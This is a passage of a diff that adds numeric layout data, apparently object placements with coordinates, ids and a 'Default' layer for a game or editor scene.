+ 1064.2470703125,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 823,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1137.534057617188,
+ 1064.2470703125,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 828,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1229.095825195313,
+ 970.2889404296875,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 863,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1321.095825195313,
+ 970.2889404296875,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 864,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1229.095825195313,
+ 1064.288940429688,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 865,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1321.095825195313,
+ 1064.288940429688,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 866,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1412.594970703125,
+ 875.203369140625,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 869,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1504.594970703125,
+ 875.203369140625,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 875,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1412.594970703125,
+ 970.203369140625,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 876,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1504.594970703125,
+ 970.203369140625,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 877,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1412.594970703125,
+ 1064.203369140625,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 878,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1504.594970703125,
+ 1064.203369140625,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 879,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1727.287841796875,
+ 655.9337768554688,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 882,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1819.287841796875,
+ 656.9337768554688,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 889,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1911.287841796875,
+ 656.9337768554688,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 890,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2002.287841796875,
+ 656.9337768554688,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 897,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1727.236206054688,
+ 751.0689086914062,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 899,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1819.236206054688,
+ 751.0689086914062,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 900,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1911.236206054688,
+ 751.0689086914062,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 901,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2003.236206054688,
+ 751.0689086914062,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 902,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1727.236206054688,
+ 845.0689086914062,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 903,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1819.236206054688,
+ 845.0689086914062,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 904,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1911.236206054688,
+ 845.0689086914062,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 905,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2003.236206054688,
+ 845.0689086914062,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 907,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1727.236206054688,
+ 940.0689086914062,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 909,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1819.236206054688,
+ 940.0689086914062,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 911,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1911.236206054688,
+ 940.0689086914062,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 912,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2003.236206054688,
+ 940.0689086914062,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 913,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1727.282958984375,
+ 1034.13671875,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 914,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1819.282958984375,
+ 1034.13671875,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 915,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1911.282958984375,
+ 1034.13671875,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 916,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2003.282958984375,
+ 1034.13671875,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 917,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2308.61474609375,
+ 823.9749145507812,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 934,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2400.61474609375,
+ 824.9749145507812,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 937,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2492.61474609375,
+ 824.9749145507812,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 938,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2308.56298828125,
+ 919.1100463867188,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 949,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2400.56298828125,
+ 919.1100463867188,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 951,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2492.56298828125,
+ 919.1100463867188,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 952,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2308.56298828125,
+ 1013.110046386719,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 954,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2400.56298828125,
+ 1013.110046386719,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 955,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2492.56298828125,
+ 1013.110046386719,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 956,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2800.248291015625,
+ 992.0031127929688,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 963,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2892.248291015625,
+ 993.0031127929688,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 973,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2984.248291015625,
+ 993.0031127929688,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 974,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2800.196533203125,
+ 1087.13818359375,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 975,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2892.196533203125,
+ 1087.13818359375,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 976,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2984.196533203125,
+ 1087.13818359375,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 977,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3075.38671875,
+ 1086.934326171875,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 920,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3167.38671875,
+ 1086.934326171875,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 921,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3259.38671875,
+ 1086.934326171875,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 980,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3351.38671875,
+ 1086.934326171875,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 981,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3443.38671875,
+ 1087.934326171875,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 984,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3535.38671875,
+ 1087.934326171875,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 985,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3627.38671875,
+ 1087.934326171875,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 989,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3719.38671875,
+ 1087.934326171875,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 990,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3811.335205078125,
+ 993.1912841796875,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 992,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3903.335205078125,
+ 994.1912841796875,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 995,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3995.335205078125,
+ 994.1912841796875,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 996,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3811.335205078125,
+ 1088.191284179688,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 997,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3903.335205078125,
+ 1088.191284179688,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 998,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3995.335205078125,
+ 1088.191284179688,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 999,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4274,
+ 776,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 1003,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4366,
+ 777,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 1006,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4274,
+ 871,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 1010,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4366,
+ 871,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 1011,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4274,
+ 965,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 1014,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4366,
+ 965,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 1015,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4274,
+ 1060,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 1018,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4366,
+ 1060,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 1019,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 864.7031860351562,
+ 590.4219360351562,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 859,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 956.7031860351562,
+ 590.4219360351562,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 1022,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 864.7031860351562,
+ 685.4219360351562,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 1023,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 956.7031860351562,
+ 685.4219360351562,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 1024,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 864.7031860351562,
+ 779.4219360351562,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 1025,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 956.7031860351562,
+ 779.4219360351562,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 1026,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 35.12126159667969,
+ 778.7173461914062,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 656,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 127.1212615966797,
+ 778.7173461914062,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 740,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 218.7083129882813,
+ 778.9495239257812,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 749,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 310.7083129882813,
+ 778.9495239257812,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 752,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 402.8583374023438,
+ 968.3065185546875,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 761,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 494.8583374023438,
+ 968.3065185546875,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 762,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 586.4453735351562,
+ 968.5386962890625,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 765,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 678.4453735351562,
+ 968.5386962890625,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 766,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 770.4392700195312,
+ 969.0148315429688,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 806,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 862.4392700195312,
+ 969.0148315429688,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 807,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 954.0263061523438,
+ 969.2470092773438,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 811,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1046.026245117188,
+ 969.2470092773438,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 813,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1137.534057617188,
+ 969.2470092773438,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 827,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 587.9736328125,
+ 778.919189453125,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 829,
+ [],
+ [],
+ [
+ 0,
+ "Default",
